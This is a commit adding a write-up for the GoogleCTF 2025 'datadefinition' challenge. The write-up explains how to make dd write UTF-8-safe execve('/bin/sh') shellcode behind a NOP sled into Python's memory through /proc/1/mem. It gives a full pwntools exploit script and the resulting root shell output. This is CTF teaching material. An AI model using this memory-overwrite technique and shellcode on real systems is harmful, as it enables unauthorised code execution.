Skip to content

Commit 86a010e

Browse files
authored
Merge pull request #17 from hargunkm/add-writeup
Adding writeup for GoogleCTF 2025 datadefinition.
2 parents eb46bb6 + fab0407 commit 86a010e

File tree

2 files changed

+268
-0
lines changed

2 files changed

+268
-0
lines changed
Lines changed: 268 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,268 @@
1+
+++
2+
title = "Data_Definition"
3+
date = 2025-08-13
4+
authors = ["Hargun Kaur"]
5+
+++
6+
# The Handout
7+
Let's begin by looking at the given files, `chall.py`, `Dockerfile`, and `nsjail.cfg`:
8+
## chall.py
9+
```python
10+
# Copyright 2025 Google LLC
11+
#
12+
# Licensed under the Apache License, Version 2.0 (the "License");
13+
# you may not use this file except in compliance with the License.
14+
# You may obtain a copy of the License at
15+
#
16+
# https://www.apache.org/licenses/LICENSE-2.0
17+
#
18+
# Unless required by applicable law or agreed to in writing, software
19+
# distributed under the License is distributed on an "AS IS" BASIS,
20+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
21+
# See the License for the specific language governing permissions and
22+
# limitations under the License.
23+
24+
import subprocess
25+
import sys
26+
27+
28+
def main():
29+
print('Do you like dd? It is my favorite old-style tool :D\n')
30+
line = input(' > What is your favorite dd line?: ').encode()
31+
user_input = input(' > Any input to go with it?: ').encode()
32+
print('I like it! Let\'s give it a go!')
33+
res = subprocess.run(['dd'] + line.split(), input=user_input,
34+
capture_output=True)
35+
print(res.stdout.decode('utf-8'))
36+
print(res.stderr.decode('utf-8'))
37+
print('It was fun, bye!')
38+
39+
40+
if __name__ == '__main__':
41+
main()
42+
43+
```
44+
The python script `chall.py`
45+
- takes in the arguments for `dd` command as `line`, and also `user_input` as `stdin`
46+
- runs [the `dd` command](https://en.wikipedia.org/wiki/Dd_(Unix)#See_also)
47+
Note that the `user_input` needs to be encoded in utf-8 because the script decodes received bytes in utf-8 before using it.
48+
## Dockerfile
49+
```Dockerfile
50+
# Copyright 2025 Google LLC
51+
#
52+
# Licensed under the Apache License, Version 2.0 (the "License");
53+
# you may not use this file except in compliance with the License.
54+
# You may obtain a copy of the License at
55+
#
56+
# https://www.apache.org/licenses/LICENSE-2.0
57+
#
58+
# Unless required by applicable law or agreed to in writing, software
59+
# distributed under the License is distributed on an "AS IS" BASIS,
60+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
61+
# See the License for the specific language governing permissions and
62+
# limitations under the License.
63+
FROM ubuntu:24.04 as chroot
64+
65+
# ubuntu24 includes the ubuntu user by default
66+
RUN /usr/sbin/userdel -r ubuntu && /usr/sbin/useradd --no-create-home -u 1000 user
67+
68+
RUN apt update && apt install -y python3
69+
70+
COPY fake_flag.txt /home/user/flag
71+
COPY fake_flag.txt /home/user/flag.txt
72+
COPY flag.txt <REDACTED>
73+
COPY chall.py /home/user/
74+
75+
FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f
76+
77+
COPY --from=chroot / /chroot
78+
79+
COPY nsjail.cfg /home/user/
80+
81+
CMD kctf_setup && \
82+
kctf_drop_privs \
83+
socat \
84+
TCP-LISTEN:1337,reuseaddr,fork \
85+
EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/bin/python3 -u /home/user/chall.py"
86+
```
87+
From the `Dockerfile`, we see that the challenge runs as UID 1000, non-root and drops privileges before running `chall.py`.
88+
The python process has PID 1, so we can access
89+
- `dd`'s `stdin` using `/proc/self/0`
90+
- python's memory using `/proc/1/mem`
91+
## nsjail.cfg
92+
```
93+
# Copyright 2020 Google LLC
94+
#
95+
# Licensed under the Apache License, Version 2.0 (the "License");
96+
# you may not use this file except in compliance with the License.
97+
# You may obtain a copy of the License at
98+
#
99+
# https://www.apache.org/licenses/LICENSE-2.0
100+
#
101+
# Unless required by applicable law or agreed to in writing, software
102+
# distributed under the License is distributed on an "AS IS" BASIS,
103+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
104+
# See the License for the specific language governing permissions and
105+
# limitations under the License.
106+
107+
# See options available at https://github.com/google/nsjail/blob/master/config.proto
108+
109+
name: "default-nsjail-configuration"
110+
description: "Default nsjail configuration for pwnable-style CTF task."
111+
112+
mode: ONCE
113+
uidmap {inside_id: "0"}
114+
gidmap {inside_id: "0"}
115+
keep_caps: true
116+
rlimit_as_type: HARD
117+
rlimit_cpu_type: HARD
118+
rlimit_nofile_type: HARD
119+
rlimit_nproc_type: HARD
120+
rlimit_fsize_type: HARD
121+
rlimit_fsize: 1024
122+
123+
cwd: "/home/user"
124+
125+
mount: [
126+
{
127+
src: "/chroot"
128+
dst: "/"
129+
is_bind: true
130+
},
131+
{
132+
dst: "/tmp"
133+
fstype: "tmpfs"
134+
rw: true
135+
},
136+
{
137+
dst: "/proc"
138+
fstype: "proc"
139+
rw: true
140+
},
141+
{
142+
src: "/etc/resolv.conf"
143+
dst: "/etc/resolv.conf"
144+
is_bind: true
145+
}
146+
]
147+
```
148+
`nsjail.cfg` sets the maximum file size to 1KB and gives `/proc` and `/tmp` access.
149+
# The Solution
150+
Goal: Use `dd` to overwrite Python's executable memory with shellcode.
151+
- Once Python's child process (`dd`) completes, the parent process will stop polling the child and continue executing Python instructions from a point in its own `.text` section.
152+
- We can look at the process maps when the challenge is running to find the address of Python's `.text` section.
153+
- Use `dd` to seek to roughly around that address and write the contents of standard input.
154+
- The command would look something like: `dd if=/proc/self/0 of=/proc/1/mem seek=<some_offset>`.
155+
- Write UTF-8 compatible shellcode.
156+
- [This Phrack article](https://phrack.org/issues/62/9) on the topic explains the rules:
157+
- Any instruction bytes between `0` and `7f` are not a problem.
158+
- Any byte above that requires a certain number of following bytes, and each following byte has its own valid range.
159+
- Take the `execve("/bin/sh")` shellcode and make it UTF-8 compliant.
160+
- It turns out that none of the instruction bytes in this shellcode are UTF-8 incompatible, so it works as is.
161+
Here's the shellcode with explanation:
162+
{{ img(id="/content/writeups/GoogleCTF2025/datadefinition/shellcode.jpg", alt="Explanation for shellcode", class="textCenter") }}
163+
164+
- There's an instruction, `\x31\xc9`, which has no side effects. You can use it to insert bytes that are outside the `0-7f` range.
165+
- We can use this to create a NOP sled (a sequence of NOP instructions, e.g., `\x31\xc9\x90`).
166+
- Write the string `b"/bin/sh"` and the NOP sled into memory at the specified offset, followed by our actual shellcode.
167+
- The shellcode will then load the address of `"/bin/sh"` into the `rdi` register.
168+
- As long as the NOP sled is large enough and the interpreter starts executing from somewhere within it, we'll reach your shellcode.
169+
- Since you know the address of `"/bin/sh"`, you can load that into `rdi` and make the `syscall`.
170+
- This way, we don't need to know the exact starting address; you just need to provide a large number of NOPs.
171+
Putting it all together, we get the exploit script:
172+
```python
173+
from pwn import *
174+
175+
context.log_level = 'debug'
176+
177+
# Connect to challenge
178+
p = remote('datadefinition.2025.ctfcompetition.com', 1337)
179+
180+
# ============ POW ============
181+
p.recvuntil(b'You can run the solver with:\n ')
182+
pow_line = p.recvline().decode().strip()
183+
token = pow_line.split()[-1]
184+
print("Wait for POW to be solved...")
185+
186+
# Run: curl script | python3 - solve <token>
187+
cmd = f"curl -sSL https://goo.gle/kctf-pow | python3 - solve {token}"
188+
result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, text=True)
189+
pow_ans = result.stdout.strip()
190+
print("POW answer obtained!")
191+
192+
p.recvuntil(b'Solution? ')
193+
p.sendline(pow_ans.encode())
194+
# ============ POW ============
195+
196+
# Send dd arguments
197+
payload = b'if=/proc/self/fd/0 of=/proc/1/mem bs=1 seek=4325376'
198+
p.sendlineafter(b' > What is your favorite dd line?: ', payload)
199+
200+
# Craft stdin payload
201+
NOP_SLED_SIZE =0x1100
202+
203+
shellcode = b"\x89\xce\x90\x56\x68\x00\x00\x42\x00\x5f\x6a\x3b\x58\x48\x31\xd2\x90\x0f\x05"
204+
205+
payload = (
206+
b"/bin/sh\x00"
207+
+ b"\x31\xc9\x90" * NOP_SLED_SIZE
208+
+ b"\x31\xc9"
209+
+ shellcode
210+
)
211+
212+
p.sendlineafter(b' > Any input to go with it?: ', payload)
213+
214+
p.recvuntil(b"I like it! Let's give it a go!\n")
215+
216+
# Access shell manually
217+
p.interactive()
218+
```
219+
Now `id` command reveals we are root user
220+
```
221+
[*] Switching to interactive mode
222+
$ id
223+
uid=0(root) gid=0(root) groups=0(root)
224+
```
225+
Just ignore the red herrings...
226+
```
227+
$ ls
228+
chall.py
229+
flag
230+
flag.txt
231+
232+
$ cat flag
233+
It's not that easy pal... The flag is not here.
234+
You need to get RCE for actual pwnage!
235+
236+
$ cat flag.txt
237+
It's not that easy pal... The flag is not here.
238+
You need to get RCE for actual pwnage!
239+
```
240+
...and navigate to the real flag!
241+
```
242+
$ cd /
243+
244+
$ ls
245+
bin
246+
boot
247+
dev
248+
etc
249+
flag_spELRE7Rwc8D3pWkP1Ol0LqFXWAZgr9S.txt
250+
home
251+
lib
252+
lib64
253+
media
254+
mnt
255+
opt
256+
proc
257+
root
258+
run
259+
sbin
260+
srv
261+
sys
262+
tmp
263+
usr
264+
var
265+
266+
$ cat flag_spELRE7Rwc8D3pWkP1Ol0LqFXWAZgr9S.txt
267+
CTF{GoodOlUnixToolsAndReadingSomePhrack}
268+
```
262 KB
Loading

0 commit comments

Comments
 (0)